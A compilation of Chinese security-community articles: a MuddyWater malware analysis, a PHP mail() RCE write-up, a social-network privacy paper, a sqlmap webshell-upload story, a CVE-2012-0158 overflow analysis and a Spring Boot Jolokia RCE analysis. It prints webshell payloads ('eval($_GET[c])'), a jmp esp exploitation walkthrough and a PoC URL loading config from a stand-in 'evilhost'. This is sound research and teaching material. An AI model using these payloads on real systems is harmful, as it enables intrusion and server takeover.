从数组`$dragon_middle`中嵌入URL长列表中随机选择一个URL。选择的URL之后就会用于C2通信。如果无法向选择的C2
URL发送数据，就尝试从`$middle_dragon`从获取另一个随机URL，然后休眠1~30秒，并再次循环。
## 受害者系统监控
代码会尝试通过`https://api.ipify.org/`获取受害者的公网IP。
公网IP会与`OS版本、内网IP、Machine Name、Domain
Name、UserName`等数据加密后一起POST到之前选择的URL中来进行新受害者注册。这样攻击者就可以根据IP、国家、位置、攻击的企业等信息选择接受或拒绝该受害者。根据攻击者C2的响应，受害者会被分配一个ID
`$sysid`。ID也会与请求执行的命令一起发送给C2。
支持的命令包括：
upload
screenshot
Excel
Outlook
Risk
Reboot
Shutdown
Clean
这些命令也与软件的版本有关。
1. “screenshot”命令会获取截屏并以.PNG文件的形式保存在`ProgramData`。
2. “Excel”命令会接收powershell代码的另一个阶段，保存在`c:\programdata\a.ps1`中，然后请求Excel通过DDE执行PowerShell脚本。
3. “Outlook” 命令会接收powershell代码的另一个阶段，保存在`c:\programdata\a.ps1`中，然后通过COM、MSHTA.exe请求outlook来执行。
4. “risk”命令会接收powershell代码的另一个阶段，保存在`c:\programdata\a.ps1`中，然后通过COM交互请求Explorer.exe来执行。
5. “upload”命令会从C2服务器下载文件，然后保存在`C:\ProgramData`中。
6. “clean”命令会破坏受害者的磁盘`C, D, E, F`，然后重启。
7. “reboot”和“shutdown”命令会马上重启或关闭受害者机器。
在恶意软件的其中一个版本中，代码会检查ProgramData文件夹是否含有Kasper、Panda、ESET等关键字相关的文件和文件夹。
# 受害者分布
MuddyWater的大多数受害者分布在约旦、土耳其、伊拉克、巴基斯坦、沙特阿拉伯、阿富汗和阿塞拜疆，俄罗斯、伊朗、巴林、奥地利和马里等国也有少量分布。根据攻击中所使用的诱饵文档，研究人员认为攻击是有地理政治属性的，除了攻击特定区域外，还攻击敏感的个人或企业组织。
# 攻击者欺骗和归属
MuddyWater组织使用的反混淆的PowerShell代码与之前用作原型的PowerShell脚本类似。攻击中使用的许多文档也含有其作者机器的嵌入路径。发现的路径有：
* C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd
* C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd
* C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd
* C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd
Leo, Poopak,
Vendetta和Turk是创建文档或模板的用户名。Turk指向的可能是来自土耳其的人，Poopak是波斯女孩的名字，说明作者可能是巴基斯坦人，Leo可能是一个随机的名字，用于混淆研究人员。
在样本中还发现了中文：
无法连接到网址，请等待龙…
无法访问本地计算机寄存器
任务计划程序访问被拒绝
研究人员在其他样本中发现PowerShell代码只有三个C2 URL，研究人员相信大多数`$dragon_middle`中的C2
URL是假的，目的就是为了分散研究人员的注意力或触发假阳性。
http://www.cankayasrc[.]com/style/js/main.php
http://ektamservis[.]com/includes/main.php
http://gtme[.]ae/font-awesome/css/main.php
# 结论
MuddyWaters组织已经发起了大量的网络攻击，并使用了高级社会工程技巧，除主动开拓基础设施外，还使用新方法和技术。攻击者也在不断地增强其工具集以减少暴露给安全产品和服务的可能性。Kaspersky实验室专家预测未来此类攻击会越来越多。 | 社区文章 |
# 【技术分享】在PHP应用程序开发中不正当使用mail()函数引发的血案
|
##### 译文声明
本文是翻译文章，文章来源：ripstech.com
原文地址：<https://www.ripstech.com/blog/2017/why-mail-is-dangerous-in-php/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **童话**](http://bobao.360.cn/member/contribute?uid=2782911444)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在我们[ **挖掘PHP应用程序漏洞**](https://www.ripstech.com/blog/tags/apav/)
的过程中，我们向著名的Webmail服务提供商[
**Roundcube**](https://www.ripstech.com/blog/2016/roundcube-command-execution-via-email/) 提交了一个远程命令执行漏洞（[
**CVE-2016-9920**](https://nvd.nist.gov/vuln/detail/CVE-2016-9920)
）。该漏洞允许攻击者通过利用Roundcube接口发送一个精心构造的电子邮件从而在目标系统上执行任意命令。在我们向厂商提交漏洞，发布了相关的漏洞分析文章后，由于PHP内联函数mail()导致的类似安全问题在其他的PHP应用程序中陆续曝出。在这篇文章中，我们将分析一下这些漏洞的共同点，那些安全补丁仍然存在问题，以及如何安全的使用mail()函数。
**浅析PHP的mail()函数**
PHP自带了一个内联函数mail()用于在PHP应用程序中发送电子邮件。开发者可以通过使用以下五个参数来配置邮件发送。
[http://php.net/manual/en/function.mail.php](http://php.net/manual/en/function.mail.php)
bool mail(
string $to,
string $subject,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
这个函数的前三个参数这里就不细说了，因为这些参数一般情况下不会受到注入攻击的影响。但是，值得关注的一点是，如果$to参数由用户控制控制的话，那么其可以向任意电子邮件地址发送垃圾邮件。
**邮件头注入**
在这篇文章中我们重点分析后两个参数。第四个参数$additional_headers的主要功能是规定额外电子邮件报头。比如From、Reply-To、Cc以及Bcc。由于邮件报头由CRLF换行符rn分隔。当用户输入可以控制第四个参数，攻击者可以使用这些字符（rn）来增加其他的邮件报头。这种攻击方式称为电子邮件头注入（或短电子邮件注入）。这种攻击可以通过向邮件头注入CC:或BCC:字段造成发送多封垃圾邮件。值得注意的是，某些邮件程序会自动将n替换为rn。
**为什么没有正确处理mail()函数的第5个参数会引发安全问题**
为了在PHP中使用mail()函数，必须配置一个电子邮件程序或服务器。在php.ini配置文件中可以使用以下两个选项：
1.配置PHP连接的SMTP服务器的主机名和端口
2.配置PHP用作邮件传输代理（MTA）的邮件程序文件路径
当PHP配置了第二个选项时，调用mail()函数的将导致执行配置的MTA(邮件传输代理)程序。尽管PHP内部可以调用escapeshellcmd()函数防止恶意用户注入其他的shell命令，mail()函数的第5个参数$additional_parameters允许向MTA(邮件传输代理)中添加新的程序参数。因此，攻击者可以在一些MTA中附加程序标志，启用创建一个用户可控内容的文件。
**漏洞演示代码**
mail("[email protected]", "subject", "message", "", "-f" . $_GET['from']);
在上述代码中存在一个远程命令执行漏洞，这个问题容易被没有安全意识的开发人员忽略。GET参数完全由用户控制，攻击者可以利用该处输入向邮件程序传递其他额外的参数。举例来说，在发送邮件的过程中可以使用-O参数来配置发送邮件的选项，使用-X参数可以指定日志文件的位置。
**概念性验证（PoC）**
[email protected] -OQueueDirectory=/tmp -X/var/www/html/rce.php
这个PoC的功能是在Web目录中生成一个PHP
webshell。该文件（rce.php）包含受到PHP代码污染的日志信息。因此，当访问rce.php文件时，攻击者能够在Web服务器上执行任意PHP代码。读者可以在[
**我们的发布的文章**](https://www.ripstech.com/blog/2016/roundcube-command-execution-via-email/) 和[ **这里**](https://www.saotn.org/exploit-phps-mail-get-remote-code-execution/) 找到更多关于如何利用这个漏洞的相关信息。
**最新相关的安全漏洞**
在许多现实世界的应用程序中，有很多由于mail()函数的第五个参数使用不当引发的安全问题。最近发现以下广受关注的PHP应用程序受到此类漏洞的影响（多数漏洞由Dawid
Golunski发现）。
对应参考链接：[ **CVE-2016-9920**](https://www.ripstech.com/blog/2016/roundcube-command-execution-via-email/) 、[
**Discussion**](https://phabricator.wikimedia.org/T152717) 、[
**CVE-2016-10033**](https://github.com/PHPMailer/PHPMailer/wiki/About-the-CVE-2016-10033-and-CVE-2016-10045-vulnerabilities) 、[
**CVE-2016-10034**](https://framework.zend.com/security/advisory/ZF2016-04) 、[
**CVE-2016-10074**](https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html) 、[
**CVE-2017-7692**](https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html)
由于一些广泛使用的Web应用程序（如[
**WordPress**](https://core.trac.wordpress.org/ticket/39397) ，[
**Joomla**](https://developer.joomla.org/security-centre/668-20161205-phpmailer-security-advisory.html) 和[
**Drupal**](https://www.drupal.org/psa-2016-004) ）部分模块基于以上库开发，所以也会受到该类漏洞的影响。
**为什么escapeshellarg()函数没有那么安全？**
PHP提供了[ **escapeshellcmd()**](http://php.net/escapeshellcmd) 和[
**escapeshellarg()**](http://php.net/escapeshellarg)
函数用来过滤用户的输入，防止恶意攻击者执行其他的系统命令或参数。直观来讲，下面的PHP语句看起来很安全，并且防止了-param1参数的中断：
system(escapeshellcmd("./program -param1 ". escapeshellarg( $_GET['arg'] )));
然而，当此程序有其他可利用参数时，那么这行代码就是不安全的。攻击者可以通过注入"foobar' -param2 payload "来突破-param1参数的限制。当用户的输入经过两个escapeshell*函数的处理，以下字符串将到达system()函数。
./program -param1 'foobar'\'' -param2 payload '
从最终系统执行的命令可以看出，两个嵌套的转义函数混淆了引用并允许附加另一个参数param2。
PHP的mail()函数在内部使用escapeshellcmd()函数过滤传入的参数，以防止命令注入攻击。这正是为什么escapeshellarg()函数不会阻止mail()函数的第5个参数的攻击。[
**Roundcube**](https://github.com/roundcube/roundcubemail/commit/f84233785ddeed01445fc855f3ae1e8a62f167e1)
和[ **PHPMailer**](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html) 的开发人员率先发布了针对该漏洞的补丁。
**为什么FILTER_VALIDATE_EMAIL是不安全的？**
另一种直接的方法是使用PHP的电子邮件过滤器（email filter），以确保在mail()函数的第5个参数中只使用有效的电子邮件地址。
filter_var($email, FILTER_VALIDATE_EMAIL)
但是，并不是所有可能存在安全问题的字符串都会被该过滤器过滤。它允许使用嵌入双引号的转义的空格。
由于函数底层实现正则表达式的原因，filter_var()没有对输入正确的过滤，导致构造的payload被带入执行。
'a."' -OQueueDirectory=%0D<?=eval($_GET[c])?> -X/var/www/html/"@a.php
对于上文给出的url编码输入，filter_var()函数返回true，将该payload识别为有效的邮件格式。
当开发人员使用该函数验证电子邮件格式作为唯一的安全验证措施，此时仍然是可以被攻击者利用的：与我们之前的攻击方式类似，在PHP程序发送邮件时，我们精心构造的恶意“电子邮件地址”会将将PHP
webshell生成在Web服务根目录下。
<?=eval($_GET[c])?>/): No such file or directory
切记，filter_var()不适合用于对用户输入内容的过滤，因为它对部分字符串的验证是不严格的。
**如何安全的使用mail()函数**
仔细分析应用程序中传入mail()函数的参数，满足以下条件：
1\. $to 除非可以预期用户的输入内容，否则不直接使用用户输入
2\. $subject 可以安全的使用
3\. $message 可以安全的使用
4\. $additional_headers 过滤r、n字符
5\. $additional_parameters 禁止用户输入
事实上，当把用户的输入作为shell指令执行时，没有什么办法可以保证系统的安全性，千万不要去考验你的运气。
如果在开发您的应用程序过程中第5个参数一定要由用户控制，你可以使用电子邮件过滤器（email
filter）将用户输入的合法数据限制为最小字符集，即使它违反了RFC合规性。我们建议不要信任任何转义或引用程序，因为据历史资料表示[
**这些功能**](https://bugs.php.net/bug.php?id=49446)
是存在安全问题的，特别是在不同环境中使用时，可能还会暴露出其他安全隐患。Paul Buonopane研究出了另一种方法去解决这个问题，可以在[
**这里**](https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9ab36) 找到。
**总结**
许多PHP应用程序都有向其用户发送电子邮件的功能，例如提醒和通知。虽然电子邮件头注入是众所周知的安全问题，但是当开发人员使用mail()函数时，往往会忽视不正当的使用有可能导致远程命令执行漏洞。在这篇文章中，我们主要分析了mail()函数的第5个参数使用不当可能存在的安全风险，以及如何防范这种问题，防止服务器受到攻击。
**参考链接**
<https://phabricator.wikimedia.org/T152717>
[https://framework.zend.com/security/advisory/ZF2016-04](https://framework.zend.com/security/advisory/ZF2016-04)
[http://seclists.org/fulldisclosure/2017/Apr/86](http://seclists.org/fulldisclosure/2017/Apr/86)
[https://packetstormsecurity.com/files/140290/swiftmailer-exec.txt](https://packetstormsecurity.com/files/140290/swiftmailer-exec.txt)
[http://www.ietf.org/rfc/rfc822.txt](http://www.ietf.org/rfc/rfc822.txt) | 社区文章 |
# 使用因素分析来减少社交网络中的属性配对攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Kiranmayi M，Dr. Maheswari N，文章来源：researchgate.net
原文地址：<https://www.researchgate.net/publication/332225957_Reducing_Attribute_Couplet_Attack_in_Social_Networks_using_Factor_Analysis>
译文仅供参考，具体内容表达以及含义原文为准。
社交网络是一个新兴的平台，在该平台上可以获取大量数据，而不会在网络上隐藏个人或人群的敏感信息。第三方或外部攻击者可以将这种高度敏感的数据用于无法确保隐私的社交目标。匿名化数据是保护隐私的模型之一，它有助于减少隐私泄漏，并且还增加了数据实用性。但是，攻击者试图使用新方法来识别个人数据。新方法中的一种是配对攻击（Couplet
Attack），它具有一些背景知识，可以通过使用一对节点属性来找到个体的身份。现有方法中k配对匿名（k-couplet
anonymity）在属性配对攻击下可以实现隐私。在本文中使用因素分析（factor analysis）来减少这种攻击。
## 0x01 Absert
社交网络是当今世界上流行的平台，在该平台上，大量用户正在增加，并加入该社交网络以结交新朋友和组以分享他们的兴趣。该网络解释了群体，人，组织和其他交互系统之间的关系。在社交网络中，人作为节点，链接作为边，这指定了网络中人之间的关系。每个节点和边在网络中也具有属性。行为者之间的属性和联系是特殊的，并由其他方直接检索，这可能导致不适当的数据。
有几种类型的社交网络可用，例如电话网络，电子邮件网络。但是，近年来，在线社交网络（OSN）在有限的时间内激增并吸引了众多用户。最受欢迎的OSN是Facebook，Twitter和LinkedIn，等等。这些网络通过电子邮件或互联网收集了大量信息。社交网络的服务提供商拥有大量数据，从而有机会分析这些网络以及隐私问题。
近年来，社交网络应用迅速增长，前提是隐私已成为主要问题之一，并在当今的社交数据中引起了广泛关注。这种数据隐私将在两个方面进行区分：
（i）通过网络的标准使用，满足在线社交网络访问控制的独特要求。
（ii）使用已发布的数据，通过向半信任的第三方提供清理数据的方法。
确定了三类隐私威胁以保留社交网络隐私信息：
（i）身份公开，有关每个个人身份的信息与节点一起链接。
（ii）属性公开，在图形中公开顶点敏感标签。它应用于顶点标记的网络。
（iii）链接公开，这是一种属性公开。
它仅公开了两个人之间的敏感或委托连接关系。社交网络上存在各种隐私问题。发布社交网络数据是主要的隐私问题之一，它不能保证其隐私。保护和保证隐私的一种方法是，在社交网络中，无法从任何节点或从图中识别出对方的身份是匿名的，这有可能大于1
/ k。因此，对社交网络中的数据进行匿名化是一种流行的方法，并且在保持社交网络数据发布方面更具挑战性。
社交网络中有不同类型的易受攻击，加解密方法是原始数据保护的常见解决方案。即使开发了许多隐私方法，黑客或攻击者也可以基于不同的背景知识来识别个人数据。其中一些是顶点度，邻域，嵌入子图，链接关系和顶点属性。还有另一种新的攻击类型，称为属性配对攻击，它利用节点的属性来推断匿名网络中的身份。在现有方法中，k-couplet
anonymity通过使用以下三种方法来实现属性对联攻击下的隐私：排名，属性概括（AG）和属性聚类匿名化（ACA）。在本文中使用因素分析方法来减少针对社交网络中节点的属性配对攻击。
即使在删除了有关个人的敏感信息之后，攻击者仍可以借助他们对剩余属性的有限背景知识以及与网络中称为属性配对攻击的节点对之间的关系的了解，来披露个人数据。考虑一个在原始网络中具有名称和其他属性的社交网络。借助某些属性对的背景信息，可以显示有关用户的信息。让我们假设约翰在社交网络中以属性对（{Lawyer，LA}，{Doctor，CA}）与Mary连接。由于此属性对在原始网络中是唯一的，因此攻击者可以通过匿名网络中的一对属性对（{Lawyer，LA}，{Doctor，CA}）轻松识别John与Mary的关系。
通过用网络中至少k-1个节点中存在的相同对联属性来满足k配对匿名性，可以最小化此属性对。概括网络中的属性是保护网络中敏感标签和属性的另一种方法。
## 0x02 Literature Review
在好友关系攻击（Friendship attack）中，攻击者使用通过边连接的顶点度对，从而可以重新识别个人。提出了k匿名概念来防止好友关系攻击。
近邻攻击（neighborhood attack），其中与近邻有联系的个人引用邻域。分两步满足k-匿名性概念：邻域分量编码技术-邻域表示和顶点的贪婪组织并使邻域匿名。
邻域对攻击（neighbourhood-pair
attack），该攻击使用背景知识作为邻域的结构信息对来识别用户。邻域对中的攻击者比邻域攻击了解更多信息。邻域系数以将邻域信息转换为更简单的查询方式。邻域对攻击也称为顶点识别攻击（vertex-identification attack）。
一种称为共同朋友攻击（mutual friend
attack）的攻击模型中，攻击者可以在可用的共同朋友的帮助下重新识别一对朋友。一种保护共同朋友上的新方法称为k-NMF匿名，该方法可确保至少k-1对另一对朋友共享相同数量的共同朋友。该算法维护原始顶点。它还允许通过逐个添加边来在组中添加顶点。但是图中没有删除顶点。这种方法确保了k-NMF在原始社交网络中保留了效用。
针对基于数据挖掘隐私保护的数据掩盖的调查中，有关为数据持有者建立分类模型以发布数据类别以保护推断敏感信息的问题。在每个迭代中，链接中最多存在单个属性的每个代。
一种在属性图中的子图挖掘算法称为MISAGA。它使用概率方法来度量属性对的值，该属性对与属性图中的子图发现问题具有很强的关联性。该算法考虑了边的结构以及与图中连接的节点有关的属性值。
## 0x03 Methodology
### A.因素分析
因素分析的工作原理是将其对数据集庞大项目的主要支配性转化为少量因素。因素的识别取决于数据集项定义的最高相关性。该因素标识的命名取决于数据集中具有最高相关因素的项。此因素分析从相关数据集中删除重复项。因素形成是相互独立的。潜伏的也称为因素，观察到的变量是不同类型的变量。
遵循三个主要步骤进行因素分析：
（i）如果潜在相关性很高，则最初的潜在或因子加载计算以及两个过程主轴因素分解和主成分方法都将给出接近的结果。
（ii）因素轮换：轮换可确保数据集中的所有变量是否在单个因素上具有膨胀的负荷。该旋转可以是旋转因素不相关的正交旋转，也可以是旋转因素相关的倾斜旋转。
（iii）因素得分计算：此计算基于称为回归的方法。因素分析可用于许多研究方向：基因组，确定饮食模式，社交网络等。
用于调查变量是否在不可观察因素方面线性相关的统计过程。用于那些线性函数的参数表示为载荷。每个变量的方差背后的理论方法称为负载，每个变量对和每对变量的协方差称为误差项的方差。
因素分析涉及两个阶段。首先，计算一个载荷集，该加载集根据某些条件提供与观察到的协方差和方差接近的协方差和方差。其次，旋转第一个载荷集以获得与方差和观察到的方差相等但比先前期望更一致的另一个载荷集。
主成分法是最广泛用于第一个载荷集的方法。它试图找到载荷集合的值，使估计值与总的可能观测方差密切相关。如果没有以相同的单位来度量变量，则在将变量应用于主成分方法之前应先对其进行标准化，以使所有变量的均值和方差等于零。
上表中的一个示例说明了因素分析。选择管理计划的学生必须选择金融，商业营销和政策等特定课程。令X1，X2和X3代表学生的课程成绩。以下数据由10分及格以上的5名学生的成绩组成。
令F1和F2为两个因素，可以定义为定量和言语能力。该关系线性表示为：
β1和β2在这里称为载荷。误差项e1表示假设关系不精确，以致E（e1）= 0 。
在本文中，因素是Author和 Publication。数据集A和数据集B表示Author和
Publication之间的关系，并且Publication的数量被视为载荷。这些因素在数据集C和数据集D中是相反的，并且在Publication和Author之间形成了关系。反转载荷因素变量，找到计算的平均值和方差，反之亦然。在这里，Author数量构成了载荷。对于数据集中的每个Author和
Publication，下面的两个方程式被表示，忽略了表格中用于计算各个Author和 Publication的均值和方差的每一行。假定的关系为：
每个Author的Publication统计数据是整个数据集的基础度量。它是通过将数据中所有Author的标识符按发生它们的Publication计数以及每个集群的大小进行聚类计算得出的。这在下表中给出。一份Publication准确显示了数据集中包含的1200位不同Author中的440位（==
37％）。同样，通过保留每组Publication来找到均值和方差，并找到剩余数据集A的计算出的均值和方差。为网络中的Author的Publication计算所有剩余数据集B，C和D的均值和方差。
下面的表显示了Author的Publication之间的关系。有四组数据：A，B，C和D组。表III。指每个Author的Publication集A和B。鉴定为“
n”种出版物的Author。
每个Author的发布统计信息是数据集范围的基本度量，方法是将数据集中Author的标识符按存在于它们中的总Publication和每个簇的大小进行聚类。这在上表中给出。要提供表中数据集的第1列中的值，指定该值。数据集中包含的1200个不同Author中的440个（==
37％）由第1列和第2列中的一个Publication准确引用。最初计算集合A和集合B的总体方差。
然后，再次通过以下方式计算集合的方差：删除集合A和集合B中Author的属性。然后计算节点数并找到所有Author的均值。然后与许多Author计算均值偏差的平方和，以找到方差。对于具有确定的Publication且作者为n个Author的集合C和集合D。与Set
A和B相似，忽略每个Author和Publication，计算Set C和Set D的均值和方差，并找到下表中存在的整个数据集的剩余均值和方差。
每个Publication的Author统计量示数据集中每个Publication中Author信息的数量。通过按Author对数据集中Publication的总数进行聚类，并按每个聚类的大小进行聚类。表示第三行中的值意味着该数据集中6716个出版物中的1850个（=
28％）有3个Author。
在上面的表（基于每个Author的中Publication、基于每个Publication的Author）中，Author和Publication的数量为n，A，B，C和D四组的因素分析显示在下表及其在数据集中表示的每个Author和每个Publication的计算均值和方差。
## 0x04 Evaluation
首先使用关键字“Publications per
Author”对数据集执行因素分析。在这里，Author以n个Publication标识，n个假设值为1,2,3,4,5,6,7,8,9,10和>10。这显示在集合A中。平均值是109，方差是14773对于为不同Author标识的集合B，总节点为1257，几乎与集合A（1200）相似，均值为114，方差为34494。尽管均值相近，但集合B的方差大于集合B的两倍。对于集合A和集合B，载荷量为Publication数量。
交换Publication和Author时，会发现在集合C和集合D中给出的新数据集。这里的载荷是Author人数。集C的平均值为610，集D的平均值为605，几乎相同。集C的方差为378431，集D的方差为418363，相当接近。
使用因素分析的概念，可以计算所有载荷变化对方差的影响，并且在下面指定的很少，例如Not including 1 publication，Not
including 2 publication，Not including 3 publication，最后Not including n>
10。集A的方差为：
No Restrictions：14773
Not including 1 Publication：5677
Not including 2 Publication：14782
Not including 3 Publication：15249
Not including n> 10 ：14788。
可以看到，在“Not including 1
Publication”的情况下，方差的影响显示减少了近62％。可以安全地推断出，为减少社交网络中配对攻击的影响，加载“Not including 1
Publication”可以带来预期的效果。将在集A中获得的结果扩展到集B的方差，”Not including 1
Publication“显示出更大的结果。与无限制的总方差相比，减少了近90％。使用条件“不包括3个Author”计算的集合C和集合D的因素分析，均值和方差如下。
可以看到，在”Not including 1
Publication“的情况下，方差的影响显示减少了近62％。可以安全地推断出，为减少社交网络中配对攻击的影响，加载“Not including 1
publication” 可以带来预期的效果。将在集A中获得的结果扩展到集B的方差，“Not including 1 publication”
显示出更大的结果。与“No Restrictions”的总方差相比，减少了近90％。使用条件”Not including 3
Authors”计算的集合C和集合D的因素分析，均值和方差如下。
均值：487和485
方差：302886和302054，与没有限制的原始方差分别减少了20％和28％。
因此，为了在减少社交网络中对节点的配对攻击方面产生更大的影响，使用因素分析的概念，建议使用Publication作为负载因素，最好的是“Not
including 1 publication” 。通过将Publication和Author旋转为载荷（不包括n =
1），减少对节点的配对攻击的效率在28％到62％之间。
## 0x05 Conclution
本文讨论了社交网络中的属性配对攻击。使用关键字“Publications per Author”和“Author per
Publications”对数据集实施了因素分析，并计算了数据集的方差。可以看到，在“Not including 1 publication”
的情况下，方差的影响显示减少了近62％。因此，为了在减少对节点的配对攻击方面产生更大的影响，使用因素分析的概念，建议使用Publication作为载荷因素，最好的是“Not
including 1 publication” 。
在本文中，因素分析的概念被用于识别可以帮助减少配对攻击对社交网络中的节点的影响的参数。结果可以认真研究这一点，并且通过添加更多因素并修改载荷，通过增强因素分析的应用来清楚地表明进一步增强。 | 社区文章 |
dba权限时，使用sqlmap的osshell时，当输入路径时，但是sqlmap迟迟不写入盘符，如图：
当然，试过f:\，f:\，f:/，f://，也试过'f:\'，照样失败了，如图：
群里问了下基友，基友说不如抓个包，看他包是啥样的，使用命令，--proxy=，如图：
burp也收到了包，确实没写入盘符，如图：
尝试改包，手动添加f盘符，可是sqlmap超时了。
反正咱们目的是把马写进去就行，那我们发送到burp的repeater模块，手动添加f盘符，手动改掉马的内容为咱们一句话马内容，可是报错了，如图：
难道是包太长了，那我把他原来的包不改动发送过去看下，发现竟然是200，是可以的。然后我就不改马的内容，只添加一个f盘符，发现马上来了，如图：
那我们先上传一下马，失败了，提示路径不对，如图：
原来是上传路径出错了，我们把他马16进制转换下，发现果然，路径是在里面的
那我们先把他的16进制转换过来，手动添加盘符，再转换成16进制试试，可是一直不成，提示500，这是为啥呢，后来发现，原来当你把16进制转换成字符串改动以后，再把字符串转成16进制是不行的，不信你们可以试试，会发现第二次转成16进制后，你把16进制再转换成字符串后，是乱码了，如图：
2016-3-1 11:23 上传那咋办，没事，我们就把路径那里的16进制改下就行，添加一个“f:”16进制的“663a”，然后改包过去，成功上传。
求职：地点杭州，求职甲方，web安全工程师，谢谢！ | 社区文章 |
#### 漏洞原理：
* 这个漏洞发生在office的一个组件MSCOMCTL.OCX，多个版本office的该模块都存在这个漏洞，MSCOMCTL.OCX这个漏洞模块是office解析activeX控件用到的一个动态库，当一个office文档中包含activeX这类控件元素的话，比如按钮、列表、树形控件时，文档通过office打开时，MSCOMCTL.OCX就会被自动载入office程序的进程空间被调用来解析和显示控件。
#### 漏洞类型：缓冲区栈溢出。
* 测试环境：XPSP2+office2007。
* 调试器：Immunity Debugger。
* 先用一个POC来观察溢出发生的时候栈中的数据分布。首先打开WINWORD.EXE，然后用Immunity Debugger附加WINWORD.EXE，然后F9运行，之后将POC测试文档poc.doc拖进WINWORD.EXE，如图：程序在0x41414141这处地址断下，这是一个无效的内存地址，所以程序无法继续运行，根据栈溢出的利用方式判断，0x41414141这个位置应该是函数返回地址一类的数据。接着观察这个返回地址属于哪个函数，在右下角的栈区右键=>”Follow in Dump”,在左边的内存数据区出现虚拟地址对应的机器码，在该区右键=>”Disassemble”就看到了对应的汇编指令，向上回溯就看能到函数sub_275C89C7。
* 漏洞存在的位置是MSCOMCTL.OCX模块，因此sub_275C89C7也就对应于MSCOMCTL.OCX的位置，接下来下断点看看数据是怎么复制到缓冲区的，如果直接在这里下断点是没法断下的，对比书上的分析可知，MSCOMCTL模块是在打开poc.doc时才加载，这里先“Alt+E”找到MSCOMCTL对应的路径，再用Immunity Debugger加载运行，然后bp 0x275C89C7，之后在加载poc.doc就可以在sub_275C89C7断下。
* 这里一共调用了两次sub_275C876D：
* 同时将MSCOMCTL.OCX模块在IDA反编译用F5看看这段代码的基本用途：
* IDA中的伪代码“if(V5 == 1784835907)”中，1784835907对应的十六进制为0x6A626F43，对应的ASCII码为“jboC”，按照小端存储规则逆过来就是“Cobj”，在Immunity Debugger中F7跟进sub_275C876D可以知道，第一次调用sub_275C876D是复制了“Cobjd”,这应该是判断程序接着要处理的对象名字是不是“Cobj”，由MSCOMCTL的结构可知，这是MSCOMCTL.OCX模块的第二个对象。Cobj::load用来读取数据。
* 之后再跟进第二个sub_275C876D：发现了溢出的现场就在这个函数，对比刚开始加载时的栈状态，0x275C87CB处的指令将数据复制到栈中，并覆盖了栈中0x00124C0C处的返回地址。
* 在IDA中的伪代码中，要执行第二个sub_275C876D，需要满足“if ( v5 == 0x6A626F43 && dwBytes >= 8 )”，如果dwByte小于8就不执行。此时在Immunity Debugger中可以看到：ss:[EBP-C]==0x00008282,这远远大于8，满足了这里判断条件，这样Cobj::load就可以读取多余的数据，这个意思好像就是非得让你溢出不可了，原本的判断条件应该是“if ( v5 == 0x6A626F43 && dwBytes <= 8 )”，正是这个误写的大于使得多余的数据也能被复制到栈中
* 接着用一个可以弹出计算器的word文档再看看溢出的发生和利用：
* 先来到溢出发生的地方，在调试器看到，是从DS:[ESI]这个位置开始复制，在内存中跟随看看，可以看到这段代码用了0x7FFA4512，即”jmp esp”作为跳板地址，那么shellcode的起始位置就是esp的值。
* 数据被通过溢出被复制到栈中：
* 通过“jmp esp”跳回栈中执行shellcode，ESP此时的值为0x00124C6C
* 栈中的shellcode被当作代码执行：
* 弹出计算器:
* 修复后的函数在IDA中如下，在新的判断条件中，“Cobj::load”读取的长度必须为8字节，否则不进行复制。 | 社区文章 |
### 前言
之前不知道 spring-boot-actuator 的问题，最近有大佬放出了 rce 利用方式，跟着学习学习，稍微简单分析一下
我仅仅是对第一种 jolokia 的利用方式做简单代码分析，其他更多有趣内容在原文中
原文地址：<https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>
### 触发流程：
Spring-boot-actuator
->
Jolokia
->
Logback
->
JNDI
->
Rce
Poc:
`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/evilhost!/evilconfig.xml`
### 分析过程
环境：spring-boot-actuator:1.4.7、jolokia-core:1.6.0
可以在 JolokiaMvcEndpoint 类中先看看 jolokia 是如何注册的，如下
只要是 /jolokia 为第一个 path
节点的，都会进入它的执行逻辑中，可以一直跟进到org.jolokia.http.HttpRequestHandler#handleGetRequest 里
在上图红框流程中，先对 path 做 / 切割分组，不过可以 `1!/2` 这样能够保留 / 符号，后边用得到
可以根据 path 节点新建 JmxRequest 对象
大致如下图所示，有这么些类别可以指定
我们主要观察 exec 类型的，它对应 org.jolokia.request.JmxExecRequest 类型，在它被创建时，会调用父类
org.jolokia.request.JmxObjectNameRequest 的构造函数，如下所示
跟进 initObjectName 函数，如下
如上图，这里将 exec 后面的第一个 path 节点带进了 javax.management.ObjectName 构造函数中
根据上图中的注释描述，可以根据一个字符串（对象名称的字符串表示形式）创建一个 ObjectName 对象，这个对象和后面的反射执行指定函数大有关系
然后将 path 的下一个节点赋值到 JmxExecRequst 的 operation 属性上，将剩余的 path 节点作为 List 赋值给
arguments 属性
至此 JmxRequest 创建完毕，进入 org.jolokia.http.HttpRequestHandler#executeRequest
执行流程当中，其中很多部分就不详细跟踪，大致是又根据 exec 类型创建了一个 org.jolokia.handler.ExecHandler 对象
看见poc很好奇参数转换过程是怎么样的
直接进入到 ExecHandler 的 doHandRequest 当中
如上图，就是将 JmxExecRequst 中的 operation 做参数类型鉴定，然后根据目标函数需要的参数类型，将 arguments
转换成对应类型，最后执行 server.invoke
的调用，这个调用就是执行我们指定的类中的指定的函数，那这里是不是能够任意类和任意函数都能执行呢，不是的，需要提前注册，注册的内容可以通过
`/jolokia/list` 查看
ch.qos.logback.classic.jmx.JMXConfigurator 就是能够调用的类之一，到了这里就进入到了 `logback`
的依赖包中
简单查看一下它的函数：
